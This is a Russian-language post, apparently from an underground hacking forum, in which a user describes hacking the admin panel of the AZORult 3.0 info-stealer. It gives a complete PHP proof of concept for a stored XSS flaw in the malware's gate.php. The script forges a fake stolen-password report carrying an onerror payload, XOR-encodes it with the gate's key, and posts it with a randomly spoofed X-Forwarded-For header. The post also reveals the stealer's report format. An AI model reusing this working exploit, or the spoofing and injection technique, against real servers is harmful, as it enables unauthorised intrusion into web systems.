Storyteller
Гений
- Регистрация
- 15 Дек 2017
- Сообщения
- 268
- Реакции
- 277
- Депозит
- 0.00034 BTC

Мои дорогие и немногочисленные друзья, сейчас я Вам расскажу увлекательную историю про то, как Величайший азорульт ломал.
Как должно быть многим известно, угнать логи с админки ранних версий было до идиотизма просто - найди адрес гейта, найдешь и всё остальное. Чуть позже пошли по рукам корявые XSS, ломающие верстку и т.д.
Но на анализ Величайшему, тайно, под покровом ночи, была дана версия 3.0, где большинство ошибок, активно используемых разными тупыми нубасами (и илитой, конечно же) уже было закрыто.

Очень вскоре вы поймете, отчего же был написан столь саркастичный комментарий.
Приступим-с.
XSS через гейт.
Функция ShowHomePage(), строка 183 (gate.php):
$tmp[$i]['p_soft_name'] = "<img src=img/softs/".$tmp[$i]['p_soft_name'].".png> ".$tmp[$i]['p_soft_name'];
Не смотря на то, что переменная $tmp[$i]['p_soft_name'] обрабатывалась ранее с помощью htmlspecialchars, одинарные кавычки были пропущены. В теории можно было провести XSS-атаку.
POC:
<?php
/////////////
// Адрес гейта
$url="http://azorult30/gate.php";
//////////////
///
/// Дальше не трогать - магия
///
$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">123123|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
1|x onerror=alert(1337) |http://anonchik.com|tobi|pizda|admin|pass\r\n
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid.">
</file".$guid.">";
$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
$data[$i] = chr(ord($data[$i])^ord($key[$j]));
$j++;
if($j>($keylen-1)) $j=0;
}
return $data;
}
httpPost($url, $data);
echo $url." injected!";